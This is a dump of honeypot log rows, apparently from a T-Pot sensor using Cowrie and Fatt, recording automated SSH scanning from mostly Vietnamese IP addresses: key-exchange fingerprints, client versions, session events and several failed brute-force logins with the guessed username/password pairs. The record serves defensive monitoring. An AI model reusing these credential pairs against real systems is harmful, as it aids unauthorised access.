27113	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:52.714791+03	2021-09-20 14:15:14.154647+03	{"_id": "dwbpAnwBvYTbRNuEkCaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "727281c9ca28", "@version": "1", "timestamp": "2021-09-20T11:13:52.714791Z", "@timestamp": "2021-09-20T11:13:52.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27114	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:52.985127+03	2021-09-20 14:15:14.155644+03	{"_id": "eAbpAnwBvYTbRNuEkCaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "16898c07b5df", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:52.985127Z", "@timestamp": "2021-09-20T11:13:52.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27115	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:53.102093+03	2021-09-20 14:15:14.157648+03	{"_id": "eQbpAnwBvYTbRNuEkCaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "5d72388d9020", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:13:53.102093Z", "@timestamp": "2021-09-20T11:13:53.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27116	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:53.20966+03	2021-09-20 14:15:14.158646+03	{"_id": "egbpAnwBvYTbRNuEkCaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "16898c07b5df", "@version": "1", "timestamp": "2021-09-20T11:13:53.209660Z", "@timestamp": "2021-09-20T11:13:53.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27117	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:53.424376+03	2021-09-20 14:15:14.159646+03	{"_id": "ewbpAnwBvYTbRNuEkCaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ftp_zsd/zs15dy43w] failed", "session": "47fb2b6799e2", "@version": "1", "password": "zs15dy43w", "username": "ftp_zsd", "timestamp": "2021-09-20T11:13:53.424376Z", "@timestamp": "2021-09-20T11:13:53.424Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27119	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:53.975528+03	2021-09-20 14:15:14.162645+03	{"_id": "fQbpAnwBvYTbRNuEkyaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44044, "timestamp": "2021-09-20T11:13:53.975528", "@timestamp": "2021-09-20T11:13:53.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27120	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:53.773791+03	2021-09-20 14:15:14.163645+03	{"_id": "gQbpAnwBvYTbRNuElCZs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "852f104dc596", "@version": "1", "duration": 3.8179380893707275, "timestamp": "2021-09-20T11:13:53.773791Z", "@timestamp": "2021-09-20T11:13:53.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27121	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:53.861849+03	2021-09-20 14:15:14.164646+03	{"_id": "ggbpAnwBvYTbRNuElCZs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "bf9a4d589c8a", "@version": "1", "duration": 3.4831368923187256, "timestamp": "2021-09-20T11:13:53.861849Z", "@timestamp": "2021-09-20T11:13:53.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27122	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:55.485356+03	2021-09-20 14:15:14.165646+03	{"_id": "jwbpAnwBvYTbRNuEmCZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:59842 (192.168.176.2:22) [session: ae8a5001f00b]", "session": "ae8a5001f00b", "@version": "1", "protocol": "ssh", "src_port": 59842, "dest_port": 22, "timestamp": "2021-09-20T11:13:55.485356Z", "@timestamp": "2021-09-20T11:13:55.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27123	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:55.400005+03	2021-09-20 14:15:14.166646+03	{"_id": "jgbpAnwBvYTbRNuEmCZU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/bananapi] failed", "session": "23ebd86f62c0", "@version": "1", "password": "bananapi", "username": "root", "timestamp": "2021-09-20T11:13:55.400005Z", "@timestamp": "2021-09-20T11:13:55.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27129	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:48.519344+03	2021-09-20 14:15:14.174646+03	{"_id": "DwbpAnwBvYTbRNuEfCb0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3d6c57439a0d", "@version": "1", "duration": 3.1346378326416016, "timestamp": "2021-09-20T11:13:48.519344Z", "@timestamp": "2021-09-20T11:13:48.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27124	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:56.173329+03	2021-09-20 14:15:14.168646+03	{"_id": "lwbpAnwBvYTbRNuEmyaE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55788, "timestamp": "2021-09-20T11:13:56.173329", "@timestamp": "2021-09-20T11:13:56.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27125	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:46.528081+03	2021-09-20 14:15:14.169647+03	{"_id": "BQbpAnwBvYTbRNuEeCZT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37220, "dest_port": 22, "timestamp": "2021-09-20T11:13:46.528081", "@timestamp": "2021-09-20T11:13:46.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
